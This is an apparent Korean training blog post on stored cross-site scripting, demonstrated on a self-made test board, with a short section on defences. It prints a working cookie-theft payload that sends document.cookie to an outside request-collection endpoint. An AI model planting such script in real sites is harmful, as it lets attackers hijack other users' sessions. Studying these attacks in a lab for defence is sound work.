본문 바로가기

보안지식/XSS

[노말틱 모의 해킹 취업반 6주차 해킹과제] XSS 정리

안녕하세요! 오늘은 XSS 일명 크로스 사이트 스크립팅을 정리하겠습니다!

 

보통 줄여서 크사라고 불리기도 한데요!

 

이 크사의 취약점이 정말 많기 때문에 중요합니다.

 

 

-XSS?

남들이 볼 수 있는 글에 악성 코드 넣는 거라고 보면 되요

 

우선 저희가 알아야 될 게 있어요

 

**Server Side , Client Side

 

Server Side는 php문처럼 서버에서 실행되는 코드를 말해요

Client Side는 html, css, 자바스크립트처럼 클라이언트 측에서 실행되는 코드를 말합니다.

 

그러니깐 해커들은 클라이언트 측에서 실행되는 코드을 악이용 하여 삽입 공격을 하는 겁니다!

 

예를 들어볼게요.

 

 

임의로 만든 게시판입니다.

 

저렇게 내용 글에다가 자바 스크립트문을 넣고 저장을 하겠습니다.

 

alert는 자바스크립트 문에서 알림창을 나오게 하는 거예요!

 

 

그리고 들어가 보겠습니다.

 

XSS 공격!

 

쨘!

 

이렇게 간단하게 예시를 들어 보았습니다.

이제 다른 사람이 이 글을 볼 때마다 이 알림 창이 나오겠죠?

 

그래서 저희가 XSS 공격이 통한다는 것을 증명하기 위해 많이 사용되는 것이

alert() 구문을 사용해요. 말 그대로 증명용이죠.

.

.

.

.

.

.

.

좋아요! alert()가 통하니 script 문이 가능 하다는 게 증명이 되었죠?

그럼 본격적으로 이 게시물에 들어오는 클라이언트들의 쿠키를 탈취해 봅시다

 

**쿠키를 왜 탈취하나요?

쿠키에는 세션ID가 있기 때문이에요!

 

저희가 서버에 정보를 보낼 때 쿠키를 통해 세션ID을 보내고 서버는 세션 ID 통해 세션 정보를 꺼내온다는 것을

알고 계실 겁니다.

 

만약 모르신다면

https://mynameisarke.tistory.com/10

 

[노말틱 취업반 2주차 정리] 로그인 인증

한 번 로그인 인증 과정을 자세하게 뜯어보겠습니다. . . 우선 옛날에 어떡해 통신 했는지 간단하게 봐봅시다. 완전 간단했다고 합니다! 그저 클라이언트가 서버에게 나 user이야! 보내면 끝입니

mynameisarke.tistory.com

참고하세요!

 

 

 

일단 쿠키값을 가져오는 자바스크립트 명령을 알아야 되겠죠?

 

var i = new Image();
i.src = "[attack URL]?cookie="+document.cookie

 

이겁니다. attack URL은 해커의 서버예요. src로 링크를 걸어서 해커의 서버로 쿠키 값을 보내는 겁니다.

 

만약 자신이 작성한 자바스크립트가 되는지 궁금하시면

 

우리 크롬에는 F12 눌러서 개발자모드 들어가시면 console 통해 자바스크립 트을 작성이 가능해요!

한 번 보여 드릴게요

 

 

기본적으로 자바스크립트가 탑재되어있어요

 

이렇게 확인 가능합니다.

 

 

attack URL, 즉 해커의 서버면은 자신만의 서버가 필요한데..

아무래도 돈이 많이 들겠죠? 그래서 저희는 무료 사이트를 이용하겠습니다

 

https://public.requestbin.com/r

 

RequestBin.com — A modern request bin to collect, inspect and debug HTTP requests and webhooks

 

public.requestbin.com

여기는 자신만의 URL을 생성해 주고 그 URL에 오는 요청을 보여주게 하는

매우 좋은 무료 사이트입니다

 

들어가 보겠습니다.

 

 

저기 저 링크 보이시나요? enjd....

 

저기 보이시는 링크가 자신만의 링크입니다 요청을 받으면 보여주는 사이트이죠!

당연히 저 링크는 개인 컴퓨터마다 전부 다릅니다.

 

링크 옆에 copy 눌러서 복사합니다

그리고 저희가 작성한 공격용 스크립트에 넣겠습니다.

 

var i = new Image();
i.src = "https://enjdj5tuoq8z8.x.pipedream.net?cookie="+document.cookie

 

이렇게요

 

그럼 이제 들어가면 그 클라이언트의 cookie 값을 보내게 되는 코드가 되는 겁니다.

 

이제 이 사이트는 닫지 마시고! 방금 XSS 취약점 있는 사이트로 들어가겠습니다.

 

그리고 수정하겠습니다.

 

 

복사 붙여넣기만 한거에요

 

행여나 스크립트 뒤에 123은 아무 문자나 넣은 겁니다. 스크립트 실행하면 그 스크립트 문은 아예 안 보이거든요

그래서 아무 문자 넣어서 빈 문장으로 안 나오게 한 겁니다!

 

어쨌든 게시물 올리고 다시 들어가 보겠습니다.

 

그리고 들어가면?

 

호오 정상적인 게시물이네요!

 

그런데!

 

저는 버프 스위트 통해 제가 무슨 경로를 탔는지 http history을 보겠습니다

 

!!!!

 

게시물 보는 중이기 전에 뭔가 어디로 제 쿠키가 날아간 게 보입니다!

 

한 번 저희가 그 링크받은 사이트를 켜보겠습니다

 

 

저기 보이시나요?

 

저기에 들어간 쿠키 값이 온 것을 볼 수 있습니다.

 

클릭하시면 어느 방식으로 무슨 정보가 왔는지 보실 수 있어요

.

.

.

.

.

이렇게 해서 오늘은 간단하게 XSS 공격을 하는 방법을 알았습니다.

물론 저렇게 세션ID을 탈취하지만 Key Logger을 삽입하여 사용자의 키보드 입력되는 것을 가져온다거나

Crypto miner을 심어놔서 코인을 채굴하게 시켜놔서 코인을 벌 수도 있습니다.

여기서 코인은 암호화폐를 말해요

 

그러니 중요한 취약점이죠!

 

대응 방법은 간단해요

악성 스크립트 작성을 못하게 하는 거죠! 좋은건 filter 함수을 이용하는 방법 있구요

스크립트 관련 문자인 <script>을 필터링하는 방법 있긴한데 <img> 태그 이용해서 우회 하는 방법도 있으니

스크립트 보안 함수을 이용하는 것이 좋아요.

입력값을 제한하여 정수값만 오는 데는 정수만 오게 하거나

 

PLURA V5 XSS 필터 사용하여 공격자의 IP을 차단하는 방법도 있습니다.

.

.

.

.

.

이제 글을 마치겠습니다! 나중에 추가할 내용이 있으면 추가하여 올리도록 하겠습니다 감사합니다.